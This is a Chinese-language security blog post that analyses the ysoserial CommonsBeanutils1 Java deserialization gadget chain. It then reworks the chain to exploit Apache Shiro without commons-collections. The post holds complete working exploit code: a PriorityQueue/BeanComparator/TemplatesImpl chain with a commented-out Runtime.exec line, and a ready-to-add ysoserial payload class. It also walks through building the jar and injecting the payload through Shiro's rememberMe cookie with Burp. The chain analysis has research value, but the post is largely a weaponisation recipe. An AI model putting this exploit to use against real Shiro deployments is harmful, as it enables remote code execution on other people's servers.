ysoserial-CommonsBeanutils1的shiro無依賴鏈改造

洋洋的小黑屋發表於2021-12-05

ysoserial-CommonsBeanutils1的shiro無依賴鏈改造

一、CB1利用鏈分析

此條利用鏈需要配合Commons-Beanutils元件來進行利用,在shiro中是自帶此元件的。

先上大佬寫的簡化版利用鏈,和ysoserial中的程式碼有點不同,但原理是一樣的

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils {
    // 修改值的方法,簡化程式碼
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    public static void main(String[] args) throws Exception {
        // 建立惡意類,用於報錯丟擲呼叫鏈
        ClassPool pool = ClassPool.getDefault();
        CtClass payload = pool.makeClass("EvilClass");
        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
//        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] evilClass = payload.toBytecode();

        // set field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        // 建立序列化物件
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);

        // 修改值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 反序列化
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
        out.writeObject(queue);
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
        in.readObject();

    }
}

在分析每一條利用鏈的方法時候,我都會從以下幾個點來進行分析:

1、首先要找到反序列化入口(source)
2、呼叫鏈(gadget)
3、觸發漏洞的目標方法(sink)

而此條利用鏈,這三點分別為:

1)入口:

PriorityQueue#readObject

2)呼叫鏈:

PriorityQueue#readObject -》 BeanComparator#compare -》 TemplatesImpl#getOutputProperties

3)觸發漏洞的目標方法:

TemplatesImpl#getOutputProperties

PriorityQueue

PriorityQueue#readObject作為CC2的入口點,在CB1鏈中同樣是以此為入口,其readObject中有個heapify方法

image-20211122162539612

跟進heapify,在713行會去呼叫siftDown方法,前提是滿足for迴圈中的size值大於等於2

image-20211122165541559

siftDown方法中,通過一個if判斷後,會呼叫到兩個方法,而在siftDownUsingComparator中才是執行呼叫鏈的操作

image-20211122170455994

跟進siftDownUsingComparator方法,可以看到在699行呼叫了comparator#compare,整個PriorityQueue類的漏洞呼叫鏈就是到這裡了

image-20211122171846206

BeanComparator

BeanComparator是一個bean比較器,用來比較兩個JavaBean是否相等,其實現了java.util.Comparator介面,有一個Comparator方法

image-20211122202414340

可以看到,在Comparator方法中先判斷property值是否為空,之後呼叫了PropertyUtils.getProperty方法。而PropertyUtils.getProperty這個方法會去呼叫傳入的javaBean中this.property值的getter方法,這個點是呼叫鏈的關鍵!

TemplatesImpl

漏洞的觸發點就是利用了TemplatesImpl#getOutputProperties()方法的載入位元組碼,來呼叫到惡意類的構造方法、靜態方法。整個呼叫鏈就不分析了,這裡寫下呼叫鏈:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

二、Shiro無依賴利用鏈改造

在ysoserial中的CB1鏈,其實是依賴commons.collections包的,也就是CC鏈中的包,因為其BeanComparator類的構造方法中,會呼叫到ComparableComparator.getInstance()ComparableComparator類就是在commons.collections包中。

image-20211122230455635

shiro中自帶了Commons-Beanutils元件,並沒有自帶commons.collections包。所以我們嘗試修改CB1鏈來使其脫離commons.collections包的限制。

需要滿足三個條件:

  • 實現java.util.Comparator介面
  • 實現java.io.Serializable介面
  • Java、shiro或commons-beanutils自帶,且相容性強

在這裡師傅們找到了兩個類

CaseInsensitiveComparator和java.util.Collections$ReverseComparator

CaseInsensitiveComparator類為例,CaseInsensitiveComparator物件是通過String.CASE_INSENSITIVE_ORDER拿到的

image-20211122231448742

只需要把String.CASE_INSENSITIVE_ORDER放入BeanComparator類的建構函式中即可使if為真,從而不呼叫到CC元件中的類

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

image-20211122231725222

這裡使用P神已經寫好的POC來進行測試,專案地址在https://github.com/phith0n/JavaThings

開啟shiroattack專案

image-20211122232343321

執行以上的Client1後,會生成cookie中對應的rememberMe值

image-20211122231949927

shiro環境同樣使用P神的環境https://github.com/phith0n/JavaThings,註釋掉環境shiro環境中的commons-collections元件

image-20211122232110795

訪問/login.jsp介面勾選rememberMe登入,使用burp抓包,在cookie裡面新增rememberMe=payload;

image-20211122232655742

另一個類java.util.Collections$ReverseComparator,也是通過其靜態方法拿到

image-20211123100636039

同樣只需要把Collections.reverseOrder()放入BeanComparator類的建構函式中即可

BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

三、ysoserial改造

把以下程式碼加入ysoserial的payloads模組即可

package ysoserial.payloads;

import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.util.Collections;
import java.util.PriorityQueue;

public class CommonsBeanutils2 implements ObjectPayload<Object>{

    public Object getObject(final String command) throws Exception {

        final Object templates = Gadgets.createTemplatesImpl(command);
        // mock method name until armed
        final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        // switch method called by comparator
        Reflections.setFieldValue(comparator, "property", "outputProperties");

        // switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;

        return queue;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsBeanutils2.class, args);
    }
}

image-20211123101127261

打包jar

mvn clean package -DskipTests

image-20211123122317279

參考:

https://cloud.tencent.com/developer/article/1816604

https://www.cnblogs.com/bitterz/p/15401105.html

相關文章